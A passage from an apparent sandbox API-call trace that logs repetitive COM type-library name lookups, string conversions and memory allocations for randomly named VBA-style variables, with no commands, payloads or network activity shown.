cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="aqpTj") returned 6 [0018.827] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.827] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="aqpTj", lHashVal=0x10c3e7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.827] IUnknown:Release (This=0x7919520) returned 0x10 [0018.827] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.827] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="aqpTj", lHashVal=0x10c3e7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.827] IUnknown:Release (This=0x7346470) returned 0xb [0018.827] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.827] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="aqpTj", lHashVal=0x10c3e7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.827] IUnknown:Release (This=0x7345930) returned 0x7 [0018.827] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.827] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="aqpTj", lHashVal=0x10c3e7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.827] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.827] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0018.827] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_aqpTj" | out: _Dst="_B_var_aqpTj") returned 0x0 [0018.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_aqpTj") returned 13 [0018.827] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.827] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_aqpTj", lHashVal=0x1087d4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.827] IUnknown:Release (This=0x7919520) returned 0x10 [0018.828] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.828] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_aqpTj", lHashVal=0x1087d4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.828] IUnknown:Release (This=0x7346470) returned 0xb [0018.828] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.828] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_aqpTj", lHashVal=0x1087d4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.828] IUnknown:Release (This=0x7345930) returned 0x7 [0018.828] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.828] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_aqpTj", lHashVal=0x1087d4, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.828] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.828] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.828] IUnknown:Release (This=0x7919520) returned 0x10 [0018.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb757ac, cbMultiByte=31, lpWideCharStr=0xcef3394, cchWideChar=64 | out: lpWideCharStr="TfNijDlKzdL LNWbWqrZPjMFVwNmK") returned 31 [0018.828] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lNrwtdTF") returned 0x10da99 [0018.828] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="lNrwtdTF" | out: _Dst="lNrwtdTF") returned 0x0 [0018.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="lNrwtdTF") returned 9 [0018.828] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.828] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="lNrwtdTF", lHashVal=0x10da99, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.828] IUnknown:Release (This=0x7919520) returned 0x10 [0018.828] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.828] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="lNrwtdTF", lHashVal=0x10da99, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.828] IUnknown:Release (This=0x7346470) returned 0xb [0018.828] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.828] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="lNrwtdTF", lHashVal=0x10da99, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.828] IUnknown:Release (This=0x7345930) returned 0x7 [0018.828] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.828] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="lNrwtdTF", lHashVal=0x10da99, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.828] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.828] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.828] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_lNrwtdTF" | out: _Dst="_B_var_lNrwtdTF") returned 0x0 [0018.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_lNrwtdTF") returned 16 [0018.828] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.828] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_lNrwtdTF", lHashVal=0x10b222, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.828] IUnknown:Release (This=0x7919520) returned 0x10 [0018.828] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.828] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_lNrwtdTF", lHashVal=0x10b222, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.828] IUnknown:Release (This=0x7346470) returned 0xb [0018.828] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.828] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_lNrwtdTF", lHashVal=0x10b222, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.828] IUnknown:Release (This=0x7345930) returned 0x7 [0018.828] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.829] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_lNrwtdTF", lHashVal=0x10b222, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.829] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.829] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.829] IUnknown:Release (This=0x7919520) returned 0x10 [0018.829] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf00000 [0018.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb757e4, cbMultiByte=10, lpWideCharStr=0xcf00124, cchWideChar=22 | out: lpWideCharStr="JajptCzGsw") returned 10 [0018.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb757fe, cbMultiByte=10, lpWideCharStr=0xcf0056e, cchWideChar=22 | out: lpWideCharStr="iJldmiYMzi") returned 10 [0018.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75812, cbMultiByte=10, lpWideCharStr=0xcf00718, cchWideChar=22 | out: lpWideCharStr="SULSlPzJNT") returned 10 [0018.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75826, cbMultiByte=10, lpWideCharStr=0xcf008c2, cchWideChar=22 | out: lpWideCharStr="cNoNSZqWwj") returned 10 [0018.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7583a, cbMultiByte=10, lpWideCharStr=0xcf00a6c, cchWideChar=22 | out: lpWideCharStr="iUOQzRpFLS") returned 10 [0018.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7584e, cbMultiByte=10, lpWideCharStr=0xcf00c16, cchWideChar=22 | out: lpWideCharStr="wLbSZoPQEi") returned 10 [0018.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75862, cbMultiByte=10, lpWideCharStr=0xcf00dc0, cchWideChar=22 | out: lpWideCharStr="FntYUVUYKN") returned 10 [0018.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75876, cbMultiByte=10, lpWideCharStr=0xcf00f6a, cchWideChar=22 | out: lpWideCharStr="oCNSzzFuTT") returned 10 [0018.833] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oRXEjt") returned 0x101dbe [0018.833] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="oRXEjt" | out: _Dst="oRXEjt") returned 0x0 [0018.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="oRXEjt") returned 7 [0018.833] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.833] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="oRXEjt", lHashVal=0x101dbe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.833] IUnknown:Release (This=0x7919520) returned 0x10 [0018.833] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.833] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="oRXEjt", lHashVal=0x101dbe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.833] IUnknown:Release (This=0x7346470) returned 0xb [0018.833] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.833] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="oRXEjt", lHashVal=0x101dbe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.833] IUnknown:Release (This=0x7345930) returned 0x7 [0018.833] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.833] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="oRXEjt", lHashVal=0x101dbe, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.833] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.833] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.833] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_oRXEjt" | out: _Dst="_B_var_oRXEjt") returned 0x0 [0018.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_oRXEjt") returned 14 [0018.834] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.834] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_oRXEjt", lHashVal=0x109867, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.834] IUnknown:Release (This=0x7919520) returned 0x10 [0018.834] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.834] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_oRXEjt", lHashVal=0x109867, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.834] IUnknown:Release (This=0x7346470) returned 0xb [0018.834] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.834] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_oRXEjt", lHashVal=0x109867, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.834] IUnknown:Release (This=0x7345930) returned 0x7 [0018.834] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.834] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_oRXEjt", lHashVal=0x109867, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.834] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.834] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.834] IUnknown:Release (This=0x7919520) returned 0x10 [0018.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75894, cbMultiByte=10, lpWideCharStr=0xcf033dc, cchWideChar=22 | out: lpWideCharStr="JERJGTWIPv") returned 10 [0018.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb758ae, cbMultiByte=10, lpWideCharStr=0xcf03826, cchWideChar=22 | out: lpWideCharStr="QohXmFsZjM") returned 10 [0018.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb758c2, cbMultiByte=10, lpWideCharStr=0xcf039d0, cchWideChar=22 | out: lpWideCharStr="nEicGsaFtV") returned 10 [0018.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb758d6, cbMultiByte=10, lpWideCharStr=0xcf03b7a, cchWideChar=22 | out: lpWideCharStr="djEATNMvFc") returned 10 [0018.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb758ea, cbMultiByte=10, lpWideCharStr=0xcf03d24, cchWideChar=22 | out: lpWideCharStr="TSQTwMwRFq") returned 10 [0018.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb758fe, cbMultiByte=10, lpWideCharStr=0xcf03ece, cchWideChar=22 | out: lpWideCharStr="IGfjcFZpCO") returned 10 [0018.834] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf10000 [0018.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75912, cbMultiByte=10, lpWideCharStr=0xcf100a4, cchWideChar=22 | out: lpWideCharStr="tQPuSjkjDY") returned 10 [0018.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75926, cbMultiByte=10, lpWideCharStr=0xcf1024e, cchWideChar=22 | out: lpWideCharStr="tzUHsUnKiu") returned 10 [0018.836] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TusHTj") returned 0x107a13 [0018.836] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="TusHTj" | out: _Dst="TusHTj") returned 0x0 [0018.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="TusHTj") returned 7 [0018.836] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.836] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="TusHTj", lHashVal=0x107a13, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.836] IUnknown:Release (This=0x7919520) returned 0x10 [0018.836] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.836] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="TusHTj", lHashVal=0x107a13, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.836] IUnknown:Release (This=0x7346470) returned 0xb [0018.836] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.836] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="TusHTj", lHashVal=0x107a13, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.836] IUnknown:Release (This=0x7345930) returned 0x7 [0018.836] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.836] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="TusHTj", lHashVal=0x107a13, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.836] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.836] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.836] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_TusHTj" | out: _Dst="_B_var_TusHTj") returned 0x0 [0018.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_TusHTj") returned 14 [0018.837] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.837] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_TusHTj", lHashVal=0x10f4bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.837] IUnknown:Release (This=0x7919520) returned 0x10 [0018.837] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.837] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_TusHTj", lHashVal=0x10f4bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.837] IUnknown:Release (This=0x7346470) returned 0xb [0018.837] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.837] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_TusHTj", lHashVal=0x10f4bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.837] IUnknown:Release (This=0x7345930) returned 0x7 [0018.837] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.837] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_TusHTj", lHashVal=0x10f4bc, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.837] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.837] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.837] IUnknown:Release (This=0x7919520) returned 0x10 [0018.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75944, cbMultiByte=10, lpWideCharStr=0xcf126c0, cchWideChar=22 | out: lpWideCharStr="FIBBrBFvrl") returned 10 [0018.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7595e, cbMultiByte=10, lpWideCharStr=0xcf12b0a, cchWideChar=22 | out: lpWideCharStr="qwFiJFlttK") returned 10 [0018.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75972, cbMultiByte=10, lpWideCharStr=0xcf12cb4, cchWideChar=22 | out: lpWideCharStr="KUEYDZbCjE") returned 10 [0018.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75986, cbMultiByte=10, lpWideCharStr=0xcf12e5e, cchWideChar=22 | out: lpWideCharStr="ZVVfwcbcXu") returned 10 [0018.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7599a, cbMultiByte=10, lpWideCharStr=0xcf13008, cchWideChar=22 | out: lpWideCharStr="TQsnHomKwa") returned 10 [0018.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb759ae, cbMultiByte=10, lpWideCharStr=0xcf131b2, cchWideChar=22 | out: lpWideCharStr="bNimQkEcwS") returned 10 [0018.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb759c2, cbMultiByte=10, lpWideCharStr=0xcf1335c, cchWideChar=22 | out: lpWideCharStr="ZDLmLVdZih") returned 10 [0018.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb759d6, cbMultiByte=10, lpWideCharStr=0xcf13506, cchWideChar=22 | out: lpWideCharStr="iIVzrtcQRO") returned 10 [0018.838] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf20000 [0018.839] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WWHPrQziz") returned 0x10c926 [0018.839] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="WWHPrQziz" | out: _Dst="WWHPrQziz") returned 0x0 [0018.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="WWHPrQziz") returned 10 [0018.839] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.839] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WWHPrQziz", lHashVal=0x10c926, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.839] IUnknown:Release (This=0x7919520) returned 0x10 [0018.839] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.839] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WWHPrQziz", lHashVal=0x10c926, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.839] IUnknown:Release (This=0x7346470) returned 0xb [0018.839] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.839] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WWHPrQziz", lHashVal=0x10c926, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.839] IUnknown:Release (This=0x7345930) returned 0x7 [0018.839] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.839] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WWHPrQziz", lHashVal=0x10c926, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.839] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.839] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.839] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_WWHPrQziz" | out: _Dst="_B_var_WWHPrQziz") returned 0x0 [0018.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_WWHPrQziz") returned 17 [0018.840] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.840] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WWHPrQziz", lHashVal=0x10c2ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.840] IUnknown:Release (This=0x7919520) returned 0x10 [0018.840] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.840] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WWHPrQziz", lHashVal=0x10c2ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.840] IUnknown:Release (This=0x7346470) returned 0xb [0018.840] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.840] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WWHPrQziz", lHashVal=0x10c2ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.840] IUnknown:Release (This=0x7345930) returned 0x7 [0018.840] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.840] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WWHPrQziz", lHashVal=0x10c2ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.840] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.840] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.840] IUnknown:Release (This=0x7919520) returned 0x10 [0018.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb759f4, cbMultiByte=33, lpWideCharStr=0xcf2198c, cchWideChar=68 | out: lpWideCharStr="dUmNidziwDYDzbsoOi nmMiYrwsvbIdc") returned 33 [0018.840] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cFfzVcmEk") returned 0x100144 [0018.840] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="cFfzVcmEk" | out: _Dst="cFfzVcmEk") returned 0x0 [0018.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="cFfzVcmEk") returned 10 [0018.840] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.840] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="cFfzVcmEk", lHashVal=0x100144, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.840] IUnknown:Release (This=0x7919520) returned 0x10 [0018.840] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.840] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="cFfzVcmEk", lHashVal=0x100144, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.840] IUnknown:Release (This=0x7346470) returned 0xb [0018.840] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.840] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="cFfzVcmEk", lHashVal=0x100144, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.840] IUnknown:Release (This=0x7345930) returned 0x7 [0018.840] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.840] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="cFfzVcmEk", lHashVal=0x100144, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.841] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.841] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.841] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_cFfzVcmEk" | out: _Dst="_B_var_cFfzVcmEk") returned 0x0 [0018.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_cFfzVcmEk") returned 17 [0018.841] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.841] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_cFfzVcmEk", lHashVal=0x100a89, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.841] IUnknown:Release (This=0x7919520) returned 0x10 [0018.841] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.841] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_cFfzVcmEk", lHashVal=0x100a89, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.841] IUnknown:Release (This=0x7346470) returned 0xb [0018.841] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.841] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_cFfzVcmEk", lHashVal=0x100a89, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.841] IUnknown:Release (This=0x7345930) returned 0x7 [0018.841] IUnknown:AddRef 